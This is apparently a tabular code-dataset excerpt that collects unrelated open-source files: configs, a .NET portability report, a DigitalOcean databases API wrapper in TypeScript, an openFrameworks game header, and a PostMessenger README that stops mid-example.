code
stringlengths 3
1.05M
| repo_name
stringlengths 4
116
| path
stringlengths 3
942
| language
stringclasses 30
values | license
stringclasses 15
values | size
int32 3
1.05M
|
|---|---|---|---|---|---|
ht-skeleton
===========
|
hudson-taylor/ht-skeleton
|
README.md
|
Markdown
|
mit
| 24
|
/**
* Configuration option specific to a production environment.
* The values of these fields will override those in the common options, if they clash.
*/
const productionConfig = {
};
export default productionConfig;
|
LINKIWI/apache-auth
|
config/production.js
|
JavaScript
|
mit
| 223
|
using Xunit;
namespace Platibus.UnitTests.Filesystem
{
[CollectionDefinition(Name)]
public class FilesystemCollection : ICollectionFixture<FilesystemFixture>
{
public const string Name = "UnitTests.Filesystem";
}
}
|
sweetlandj/Platibus
|
Source/Platibus.UnitTests/Filesystem/FilesystemCollection.cs
|
C#
|
mit
| 243
|
<!DOCTYPE html>
<html xmlns:msxsl="urn:schemas-microsoft-com:xslt">
<head>
<meta content="en-us" http-equiv="Content-Language" />
<meta content="text/html; charset=utf-16" http-equiv="Content-Type" />
<title _locid="PortabilityAnalysis0">.NET Portability Report</title>
<style>
/* Body style, for the entire document */
body {
background: #F3F3F4;
color: #1E1E1F;
font-family: "Segoe UI", Tahoma, Geneva, Verdana, sans-serif;
padding: 0;
margin: 0;
}
/* Header1 style, used for the main title */
h1 {
padding: 10px 0px 10px 10px;
font-size: 21pt;
background-color: #E2E2E2;
border-bottom: 1px #C1C1C2 solid;
color: #201F20;
margin: 0;
font-weight: normal;
}
/* Header2 style, used for "Overview" and other sections */
h2 {
font-size: 18pt;
font-weight: normal;
padding: 15px 0 5px 0;
margin: 0;
}
/* Header3 style, used for sub-sections, such as project name */
h3 {
font-weight: normal;
font-size: 15pt;
margin: 0;
padding: 15px 0 5px 0;
background-color: transparent;
}
h4 {
font-weight: normal;
font-size: 12pt;
margin: 0;
padding: 0 0 0 0;
background-color: transparent;
}
/* Color all hyperlinks one color */
a {
color: #1382CE;
}
/* Paragraph text (for longer informational messages) */
p {
font-size: 10pt;
}
/* Table styles */
table {
border-spacing: 0 0;
border-collapse: collapse;
font-size: 10pt;
}
table th {
background: #E7E7E8;
text-align: left;
text-decoration: none;
font-weight: normal;
padding: 3px 6px 3px 6px;
}
table td {
vertical-align: top;
padding: 3px 6px 5px 5px;
margin: 0px;
border: 1px solid #E7E7E8;
background: #F7F7F8;
}
.NoBreakingChanges {
color: darkgreen;
font-weight:bold;
}
.FewBreakingChanges {
color: orange;
font-weight:bold;
}
.ManyBreakingChanges {
color: red;
font-weight:bold;
}
.BreakDetails {
margin-left: 30px;
}
.CompatMessage {
font-style: italic;
font-size: 10pt;
}
.GoodMessage {
color: darkgreen;
}
/* Local link is a style for hyperlinks that link to file:/// content, there are lots so color them as 'normal' text until the user mouse overs */
.localLink {
color: #1E1E1F;
background: #EEEEED;
text-decoration: none;
}
.localLink:hover {
color: #1382CE;
background: #FFFF99;
text-decoration: none;
}
/* Center text, used in the over views cells that contain message level counts */
.textCentered {
text-align: center;
}
/* The message cells in message tables should take up all avaliable space */
.messageCell {
width: 100%;
}
/* Padding around the content after the h1 */
#content {
padding: 0px 12px 12px 12px;
}
/* The overview table expands to width, with a max width of 97% */
#overview table {
width: auto;
max-width: 75%;
}
/* The messages tables are always 97% width */
#messages table {
width: 97%;
}
/* All Icons */
.IconSuccessEncoded, .IconInfoEncoded, .IconWarningEncoded, .IconErrorEncoded {
min-width: 18px;
min-height: 18px;
background-repeat: no-repeat;
background-position: center;
}
/* Success icon encoded */
.IconSuccessEncoded {
/* Note: Do not delete the comment below. It is used to verify the correctness of the encoded image resource below before the product is released */
/* [---XsltValidateInternal-Base64EncodedImage:IconSuccess#Begin#background-image: url(data:image/png;base64,#Separator#);#End#] */
background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAABPElEQVR4Xp1Tv0vDUBi8FqeA4NpBcBLcWnQSApncOnTo4FSnjP0DsnXpH5CxiwbHDg4Zuj4oOEXiJgiC4FDcCkLWmIMc1Pfw+eMgQ77v3Xf3Pe51YKGqqisAEwCR1TIAsiAIblSo6xrdHeJR85Xle3mdmCQKb0PsfqyxxzM8K15HZADl/H5+sHpZwYfxyRjTs+kWwKBx8yoHd2mRiuzF8mkJniWH/13u3Fjrs/EdhsdDFHGB/DLXEJBDLh1MWPAhPo1BLB4WX5yQywHR+m3tVe/t97D52CB/ziG0nIgD/qDuYg8WuCcVZ2YGwlJ3YDugkpR/VNcAEx6GEKhERSr71FuO4YCM4XBdwKvecjIlkSnsO0Hyp/GxSeJAdzBKzpOtnPwyyiPdAZhpZptT04tU+zk7s8czeges//s5C5+CwqrR4/gw+AAAAABJRU5ErkJggg==);
}
/* Information icon encoded */
.IconInfoEncoded {
/* Note: Do not delete the comment below. It is used to verify the correctness of the encoded image resource below before the product is released */
/* [---XsltValidateInternal-Base64EncodedImage:IconInformation#Begin#background-image: url(data:image/png;base64,#Separator#);#End#] */
background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAABHElEQVR4Xs2TsUoDQRRF7wwoziokjZUKadInhdhukR9YP8DMX1hYW+QvdsXa/QHBbcXC7W0CamWTQnclFutceIQJwwaWNLlwm5k5d94M76mmaeCrrmsLYOocY12FcxZFUeozCqKqqgYA8uevv1H6VuPxcwlfk5N92KHBxfFeCSAxxswlYAW/Xr989x/mv9gkhtyMDhcAxgzRsp7flj8B/HF1RsMXq+NZMkopaHe7lbKxQUEIGbKsYNoGn969060hZBkQex/W8oRQwsQaW2o3Ago2SVcJUzAgY3N0lTCZZm+zPS8HB51gMmS1DEYyOz9acKO1D8JWTlafKIMxdhvlfdyT94Vv5h7P8Ky7nQzACmhvKq3zk3PjW9asz9D/1oigecsioooAAAAASUVORK5CYII=);
}
/* Warning icon encoded */
.IconWarningEncoded {
/* Note: Do not delete the comment below. It is used to verify the correctness of the encoded image resource below before the product is released */
/* [---XsltValidateInternal-Base64EncodedImage:IconWarning#Begin#background-image: url(data:image/png;base64,#Separator#);#End#] */
background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAx0lEQVR4XpWSMQ7CMAxFf4xAyBMLCxMrO8dhaBcuwdCJS3RJBw7SA/QGTCxdWJgiQYWKXJWKIXHIlyw5lqr34tQgEOdcBsCOx5yZK3hCCKdYXneQkh4pEfqzLfu+wVDSyyzFoJjfz9NB+pAF+eizx2Vruts0k15mPgvS6GYvpVtQhB61IB/dk6AF6fS4Ben0uIX5odtFe8Q/eW1KvFeH4e8khT6+gm5B+t3juyDt7n0jpe+CANTd+oTUjN/U3yVaABnSUjFz/gFq44JaVSCXeQAAAABJRU5ErkJggg==);
}
/* Error icon encoded */
.IconErrorEncoded {
/* Note: Do not delete the comment below. It is used to verify the correctness of the encoded image resource below before the product is released */
/* [---XsltValidateInternal-Base64EncodedImage:IconError#Begin#background-image: url(data:image/png;base64,#Separator#);#End#] */
background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAABQElEQVR4XqWTvUoEQRCE6wYPZUA80AfwAQz23uCMjA7MDRQEIzPBVEyNTQUFIw00vcQTTMzuAh/AxEQQT8HF/3G/oGGnEUGuoNnd6qoZuqltyKEsyzVJq5I6rnUp6SjGeGhESikzzlc1eL7opfuVbrqbU1Zw9NCgtQMaZpY0eNnaaL2fHusvTK5vKu7sjSS1Y4y3QUA6K3e3Mau5UFDyMP7tYF9o8cAHZv68vipoIJg971PZIZ5HiwdvYGGvFVFHmGmZ2MxwmQYPXubPl9Up0tfoMQGetXd6mRbvhBw+boZ6WF7Mbv1+GsHRk0fQmPAH1GfmZirbCfDJ61tw3Px8/8pZsPAG4jlVhcPgZ7adwNWBB68lkRQWFiTgFlbnLY3DGGM7izIJIyT/jjIvEJw6fdJTc6krDzh6aMwMP9bvDH4ADSsa9uSWVJkAAAAASUVORK5CYII=);
}
</style>
</head>
<body>
<h1 _locid="PortabilityReport">.NET Portability Report</h1>
<div id="content">
<div id="submissionId" style="font-size:8pt;">
<p>
<i>
Submission Id
2509bcb9-a173-4148-89ce-3c9088a806f9
</i>
</p>
</div>
<h2 _locid="SummaryTitle">
<a name="Portability Summary"></a>Portability Summary
</h2>
<div id="summary">
<table>
<tbody>
<tr>
<th>Assembly</th>
<th>ASP.NET 5,Version=v1.0</th>
<th>Windows,Version=v8.1</th>
<th>.NET Framework,Version=v4.6</th>
<th>Windows Phone,Version=v8.1</th>
</tr>
<tr>
<td><strong><a href="#MindFusion.Scheduling.Pdf">MindFusion.Scheduling.Pdf</a></strong></td>
<td class="text-center">78.91 %</td>
<td class="text-center">74.83 %</td>
<td class="text-center">100.00 %</td>
<td class="text-center">74.83 %</td>
</tr>
</tbody>
</table>
</div>
<div id="details">
<a name="MindFusion.Scheduling.Pdf"><h3>MindFusion.Scheduling.Pdf</h3></a>
<table>
<tbody>
<tr>
<th>Target type</th>
<th>ASP.NET 5,Version=v1.0</th>
<th>Windows,Version=v8.1</th>
<th>.NET Framework,Version=v4.6</th>
<th>Windows Phone,Version=v8.1</th>
<th>Recommended changes</th>
</tr>
<tr>
<td>System.AppDomain</td>
<td class="IconErrorEncoded"></td>
<td class="IconErrorEncoded"></td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td>Remove usage</td>
</tr>
<tr>
<td style="padding-left:2em">add_ResourceResolve(System.ResolveEventHandler)</td>
<td class="IconErrorEncoded"></td>
<td class="IconErrorEncoded"></td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td></td>
</tr>
<tr>
<td style="padding-left:2em">get_CurrentDomain</td>
<td class="IconErrorEncoded"></td>
<td class="IconErrorEncoded"></td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td>Remove usage</td>
</tr>
<tr>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>System.Drawing.GraphicsUnit</td>
<td class="IconErrorEncoded"></td>
<td class="IconErrorEncoded"></td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td></td>
</tr>
<tr>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>System.Drawing.Printing.Margins</td>
<td class="IconErrorEncoded"></td>
<td class="IconErrorEncoded"></td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td></td>
</tr>
<tr>
<td style="padding-left:2em">#ctor(System.Int32,System.Int32,System.Int32,System.Int32)</td>
<td class="IconErrorEncoded"></td>
<td class="IconErrorEncoded"></td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td></td>
</tr>
<tr>
<td style="padding-left:2em">op_Inequality(System.Drawing.Printing.Margins,System.Drawing.Printing.Margins)</td>
<td class="IconErrorEncoded"></td>
<td class="IconErrorEncoded"></td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td></td>
</tr>
<tr>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>System.Drawing.Rectangle</td>
<td class="IconErrorEncoded"></td>
<td class="IconErrorEncoded"></td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td></td>
</tr>
<tr>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>System.Drawing.RectangleF</td>
<td class="IconErrorEncoded"></td>
<td class="IconErrorEncoded"></td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td></td>
</tr>
<tr>
<td style="padding-left:2em">Empty</td>
<td class="IconErrorEncoded"></td>
<td class="IconErrorEncoded"></td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td></td>
</tr>
<tr>
<td style="padding-left:2em">#ctor(System.Single,System.Single,System.Single,System.Single)</td>
<td class="IconErrorEncoded"></td>
<td class="IconErrorEncoded"></td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td></td>
</tr>
<tr>
<td style="padding-left:2em">get_Height</td>
<td class="IconErrorEncoded"></td>
<td class="IconErrorEncoded"></td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td></td>
</tr>
<tr>
<td style="padding-left:2em">get_Width</td>
<td class="IconErrorEncoded"></td>
<td class="IconErrorEncoded"></td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td></td>
</tr>
<tr>
<td style="padding-left:2em">get_X</td>
<td class="IconErrorEncoded"></td>
<td class="IconErrorEncoded"></td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td></td>
</tr>
<tr>
<td style="padding-left:2em">get_Y</td>
<td class="IconErrorEncoded"></td>
<td class="IconErrorEncoded"></td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td></td>
</tr>
<tr>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>System.Drawing.Region</td>
<td class="IconErrorEncoded"></td>
<td class="IconErrorEncoded"></td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td></td>
</tr>
<tr>
<td style="padding-left:2em">#ctor(System.Drawing.RectangleF)</td>
<td class="IconErrorEncoded"></td>
<td class="IconErrorEncoded"></td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td></td>
</tr>
<tr>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>System.Drawing.SizeF</td>
<td class="IconErrorEncoded"></td>
<td class="IconErrorEncoded"></td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td></td>
</tr>
<tr>
<td style="padding-left:2em">get_Height</td>
<td class="IconErrorEncoded"></td>
<td class="IconErrorEncoded"></td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td></td>
</tr>
<tr>
<td style="padding-left:2em">get_Width</td>
<td class="IconErrorEncoded"></td>
<td class="IconErrorEncoded"></td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td></td>
</tr>
<tr>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>System.Reflection.Assembly</td>
<td class="IconErrorEncoded"></td>
<td class="IconErrorEncoded"></td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td></td>
</tr>
<tr>
<td style="padding-left:2em">GetExecutingAssembly</td>
<td class="IconErrorEncoded"></td>
<td class="IconErrorEncoded"></td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td>typeof(CurrentType).GetTypeInfo().Assembly</td>
</tr>
<tr>
<td style="padding-left:2em">Load(System.Byte[])</td>
<td class="IconErrorEncoded"></td>
<td class="IconErrorEncoded"></td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td></td>
</tr>
<tr>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>System.ResolveEventArgs</td>
<td class="IconErrorEncoded"></td>
<td class="IconErrorEncoded"></td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td>Use AssemblyLoadContext</td>
</tr>
<tr>
<td style="padding-left:2em">get_Name</td>
<td class="IconErrorEncoded"></td>
<td class="IconErrorEncoded"></td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td>Use AssemblyLoadContext</td>
</tr>
<tr>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>System.ResolveEventHandler</td>
<td class="IconErrorEncoded"></td>
<td class="IconErrorEncoded"></td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td>Use AssemblyLoadContext</td>
</tr>
<tr>
<td style="padding-left:2em">#ctor(System.Object,System.IntPtr)</td>
<td class="IconErrorEncoded"></td>
<td class="IconErrorEncoded"></td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td>Use AssemblyLoadContext</td>
</tr>
<tr>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>System.Runtime.CompilerServices.SuppressIldasmAttribute</td>
<td class="IconErrorEncoded"></td>
<td class="IconErrorEncoded"></td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td></td>
</tr>
<tr>
<td style="padding-left:2em">#ctor</td>
<td class="IconErrorEncoded"></td>
<td class="IconErrorEncoded"></td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td></td>
</tr>
<tr>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>System.Security.Cryptography.DESCryptoServiceProvider</td>
<td class="IconErrorEncoded"></td>
<td class="IconErrorEncoded"></td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td></td>
</tr>
<tr>
<td style="padding-left:2em">#ctor</td>
<td class="IconErrorEncoded"></td>
<td class="IconErrorEncoded"></td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td></td>
</tr>
<tr>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>System.Security.Cryptography.ICryptoTransform</td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td></td>
</tr>
<tr>
<td style="padding-left:2em">TransformFinalBlock(System.Byte[],System.Int32,System.Int32)</td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td></td>
</tr>
<tr>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>System.Security.Cryptography.SymmetricAlgorithm</td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td></td>
</tr>
<tr>
<td style="padding-left:2em">CreateDecryptor</td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td></td>
</tr>
<tr>
<td style="padding-left:2em">set_IV(System.Byte[])</td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td></td>
</tr>
<tr>
<td style="padding-left:2em">set_Key(System.Byte[])</td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td></td>
</tr>
<tr>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>System.String</td>
<td class="IconErrorEncoded"></td>
<td class="IconErrorEncoded"></td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td></td>
</tr>
<tr>
<td style="padding-left:2em">Intern(System.String)</td>
<td class="IconErrorEncoded"></td>
<td class="IconErrorEncoded"></td>
<td class="IconSuccessEncoded"></td>
<td class="IconErrorEncoded"></td>
<td></td>
</tr>
<tr>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
</tbody>
</table>
<p>
<a href="#Portability Summary">Back to Summary</a>
</p>
</div>
</div>
</body>
</html>
|
kuhlenh/port-to-core
|
Reports/mi/mindfusion.scheduling.5.6.0/MindFusion.Scheduling.Pdf-net20.html
|
HTML
|
mit
| 33,080
|
function otherScripts(){
}
function clickHandlers(){
removeFromTable("tasks","/wstaskdefinition/remove",function(id){});
}
function formHandlers(){
$("#frmTaskDefinition").ajaxForm(function(resp){
if(resp.state==true){
alertify.success("İşlem başarı ile gerçekleştirildi.");
var count= $(".tasks tbody tr").size();
var tr=$("<tr id="+resp.data._id+"></>");
var td1=$("<td class='text-center'>"+count+".</td>");
var td2=$("<td>"+resp.data.task+"</td>");
var td3=$("<td>"+resp.data.setBy+"</td>");
var btnSil='<button class="btn btn-danger btn-sm sil"><i class="fa fa-trash-o"></i></button>';
var td4=$("<td st id="+resp.data._id+">"+btnSil+"</td>");
tr.append(td1);tr.append(td2);tr.append(td3);tr.append(td4);
$(".tasks tbody").last().append(tr);
$("input[type='text']").val("");
}else{
alertify.error("İşlem başarısız.");
}
});
}
|
irfanHasbek/mkb-integral
|
views/js/pages-js/TaskDefinitionPage.js
|
JavaScript
|
mit
| 1,031
|
<?php
namespace Kit\SystemBundle\Entity;
use Doctrine\ORM\EntityRepository;
/**
* ModuleRepository
*
* This class was generated by the Doctrine ORM. Add your own custom
* repository methods below.
*/
class ModuleRepository extends EntityRepository
{
}
|
novikov-anton/kit
|
src/Kit/SystemBundle/Entity/ModuleRepository.php
|
PHP
|
mit
| 260
|
package ameba.lib.el;
import com.google.common.collect.Maps;
import javax.el.ValueExpression;
import javax.el.VariableMapper;
import java.util.Collections;
import java.util.Map;
/**
* @author icode
*/
public class MapBasedVariableMapper extends VariableMapper {
private Map<String, ValueExpression> map = Collections.emptyMap();
public ValueExpression resolveVariable(String variable) {
return this.map.get(variable);
}
public ValueExpression setVariable(String variable, ValueExpression expression) {
if (this.map.isEmpty()) {
this.map = Maps.newHashMap();
}
return this.map.put(variable, expression);
}
}
|
icode/ameba
|
src/main/java/ameba/lib/el/MapBasedVariableMapper.java
|
Java
|
mit
| 679
|
import RequestHelper from "../request-helper";
import { BaseModule } from "./base-module";
import { AddPoolRequestOptions, DatabaseCreateClusterRequest, DatabaseResizeClusterRequest } from "../types/databases";
import { HttpMethods } from "../common";
export default class Databases extends BaseModule {
private basePath: string = 'databases';
constructor(pageSize: number, requestHelper: RequestHelper) {
super(pageSize, requestHelper);
}
/**
* Get all Database Clusters
* @param [tagName] filter to only return Database Clusters with a given tag
* @param [includeAll] return all Database Clusters, paginated (optional)
* @param [page] the specific page of Database Clusters to return (optional)
* @param [pageSize] the number of Database Clusters to return per page (optional)
* @returns Promise
*/
public getAllClusters(tagName: string, includeAll: boolean = false, page: number = 1, pageSize: number = this.pageSize): Promise<any> {
const requestOptions = this._getBasePaginatedRequestOptions({
actionPath: this.basePath,
key: 'databases',
tagName: tagName,
pageSize: pageSize,
page: page,
includeAll: includeAll,
});
return this._execute(requestOptions);
}
/**
* Create a new Database Cluster
* @param clusterOptions the options for the Database Cluster
* @returns Promise
*/
public createCluster(clusterOptions: DatabaseCreateClusterRequest): Promise<any> {
return this._execute({
actionPath: this.basePath,
method: HttpMethods.POST,
body: clusterOptions,
});
}
/**
* Retrieve a single Database Cluster using its identifier
* @param clusterId the identifier of the Database Cluster to retrieve
* @returns Promise
*/
public getClusterById(clusterId: string): Promise<any> {
return this._execute({
actionPath: `${this.basePath}/${encodeURIComponent(clusterId)}`,
});
}
/**
* Resize an existing Database Cluster
* @param clusterId the identifier of the Database Cluster to resize
* @param configuration the resizing configuration
*/
public resizeCluster(clusterId: string, configuration: DatabaseResizeClusterRequest): Promise<any> {
return this._execute({
actionPath: `${this.basePath}/${encodeURIComponent(clusterId)}/resize`,
method: HttpMethods.PUT,
body: configuration,
});
}
/**
* Create a new User on an existing Database Cluster
* @param clusterId the identifier of the Database Cluster
* @param username the name of the User to create
* @returns Promise
*/
public createUser(clusterId: string, username: string): Promise<any> {
return this._execute({
actionPath: `${this.basePath}/${encodeURIComponent(clusterId)}/users`,
method: HttpMethods.POST,
body: {
name: username,
},
});
}
/**
* Delete a User from a Database Cluster
* @param clusterId the identifier of the Database Cluster
* @param username the username of the User to delete
*/
public deleteUser(clusterId: string, username: string): Promise<any> {
return this._execute({
actionPath: `${this.basePath}/${encodeURIComponent(clusterId)}/users/${encodeURIComponent(username)}`,
method: HttpMethods.DELETE,
});
}
/**
* Retrieve a single User for a Database Cluster
* @param clusterId the identifier of the Database Cluster
* @param username the username of the User to retrieve
*/
public getUser(clusterId: string, username: string): Promise<any> {
return this._execute({
actionPath: `${this.basePath}/${encodeURIComponent(clusterId)}/users/${encodeURIComponent(username)}`,
});
}
/**
* Retrieve a list of all the Users for a given Database Cluster
* @param clusterId the identifier of the Database Cluster
*/
public getAllUsers(clusterId: string): Promise<any> {
return this._execute({
actionPath: `${this.basePath}/${encodeURIComponent(clusterId)}/users`,
});
}
/**
* Get all Pools for a Cluster
* @param clusterId the identifier of the Cluster
* @param poolOptions the Pool options
* @returns Promise
*/
public addPool(clusterId: string, poolOptions: AddPoolRequestOptions): Promise<any> {
return this._execute({
actionPath: `${this.basePath}/${encodeURIComponent(clusterId)}/pools`,
method: HttpMethods.POST,
body: poolOptions,
});
}
/**
* Get all Pools for a Cluster
* @param clusterId the identifier of the Cluster
* @returns Promise
*/
public getAllPools(clusterId: string): Promise<any> {
return this._execute({
actionPath: `${this.basePath}/${encodeURIComponent(clusterId)}/pools`,
});
}
/**
* Get a Pool for an existing Cluster
* @param clusterId the identifier of the Cluster
* @param poolName the name of the Pool
* @returns Promise
*/
public getPool(clusterId: string, poolName: string): Promise<any> {
return this._execute({
actionPath: `${this.basePath}/${encodeURIComponent(clusterId)}/pools/${encodeURIComponent(poolName)}`,
});
}
/**
* Delete a Pool from an existing Cluster
* @param clusterId the identifier of the Cluster
* @param poolName the name of the Pool
* @returns Promise
*/
public deletePool(clusterId: string, poolName: string): Promise<any> {
return this._execute({
actionPath: `${this.basePath}/${encodeURIComponent(clusterId)}/pools/${encodeURIComponent(poolName)}`,
method: HttpMethods.DELETE,
});
}
}
|
matt-major/do-wrapper
|
src/modules/databases.ts
|
TypeScript
|
mit
| 6,006
|
+++
title = "Erro ao tentar salvar o script no R"
date = "2018-01-04 00:19:41"
categories = ["sopt"]
original_url = "https://pt.stackoverflow.com/q/266409"
at_home="no"
+++
|
brbloggers/brbloggers
|
content/sopt/266409.md
|
Markdown
|
mit
| 174
|
#pragma once
#include "ofMain.h"
#include "ofx3DModelLoader.h"
#include "TankClass.h"
#include <vector>
class Block {
public:
int x;
int y;
int z;
bool real;
int id = 1;
ofBoxPrimitive block;
};
class ofApp : public ofBaseApp{
public:
void setup();
void update();
void draw();
void keyPressed(int key);
void keyReleased(int key);
void mouseMoved(int x, int y );
void mouseDragged(int x, int y, int button);
void mousePressed(int x, int y, int button);
void mouseReleased(int x, int y, int button);
void windowResized(int w, int h);
void dragEvent(ofDragInfo dragInfo);
void gotMessage(ofMessage msg);
ofCamera camera;
ofLight sun1;
ofParameterGroup TankGroup;
TankClass Tank1;
ofPlanePrimitive grass;
ofImage grasstex;
ofSpherePrimitive sky;
ofImage skytex;
ofImage cross;
ofImage bricktex;
ofImage bedrocktex;
int far = 18;
int up = 70;
int person = 1;
int look = 80;
float ox;
float oy;
float xp;
float yp;
float zx;
float zy;
float mx;
float my;
bool jump;
bool xt = false;
bool yt = false;
bool mov = false;
float chunk = 32;
float blockSize = 64;
float timer = 20;
ofSpherePrimitive hit;
float hitx;
float hity;
float hitz;
float hitxs;
float hitys;
float hitzs;
float oldx;
float oldy;
float oldz;
ofSpherePrimitive hit2;
float hitx2;
float hity2;
float hitz2;
float hitxs2;
float hitys2;
float hitzs2;
float oldx2;
float oldy2;
float oldz2;
float gravity = 9.8;
int type = 1;
bool collide = false;
float velocity;
std::vector<Block>::iterator oldvec;
std::vector<Block> vec;
};
|
ReillyGregorio/Games
|
FPS/src/ofApp.h
|
C
|
mit
| 2,015
|
# PostMessenger
Simple-to-use but elegant wrapper around JavaScript's postMessage() function, allowing communication between parent/iframe and parent/popup. Demo [here](https://taeon.github.io/PostMessenger/).
PostMessenger encourages secure practices by specifying the domain for both parties, and tying listeners to specific elements rather than listening to all incoming postMessage() events indiscriminately.
Fully compatible with IE10+, Chrome, Safari, iOS, Firefox (see caniuse: http://caniuse.com/#search=postMessage). Works in IE8/9, with limitations (see below).
No external dependencies, but supports jQuery-like syntax for element selection, or will accept a jQuery object.
Minified version weighs in at about 1.5KB, <lKB GZipped.
Basic usage in an iframe
------------------------
Once you've included the Javascript, just instantiate like this:
// In the outer (parent) page
var PM = new PostMessenger( 'http://mydomain.com', '#my-iframe' );
PM.AddListener( function( message, message_event ){ alert( 'Parent got a message' + message ); } );
// In the iframe
var PM = new PostMessenger( 'http://mydomain.com', parent );
PM.AddListener( function( message, message_event ){ alert( 'Iframe got a message' + message ); } );
Now you can send like so (it works the same in the parent or the child):
PM.Send( 'Hello there!' );
Note that you can send JSON data, as well as strings.
Namespaces and multiple listeners
---------------------------------
You can add as many listeners as you like, which when combined with namespaced messages, means you can direct different messages to different listeners:
// In the parent
var PM = new PostMessenger( 'http://mydomain.com', '#my-iframe' );
PM.AddListener( function( message, message_event ){ alert( 'Parent got an important message' + message ); }, 'Important' );
PM.AddListener( function( message, message_event ){ alert( 'Parent got a trvial message' + message ); }, 'Trivial' );
// In the iframe
var PM = new PostMessenger( 'http://mydomain.com', parent );
PM.Send( "This is an important message!", "Important" );
PM.Send( "This is a trivial message", "Trivial" );
Alternatively, you can set a namespace for the PostMessenger instance when you create it, and it will only send and receive using that namespace:
// In the parent
var PM = new PostMessenger( 'http://mydomain.com', '#my-iframe', 'Important' ); // Only listen for/send Important messages
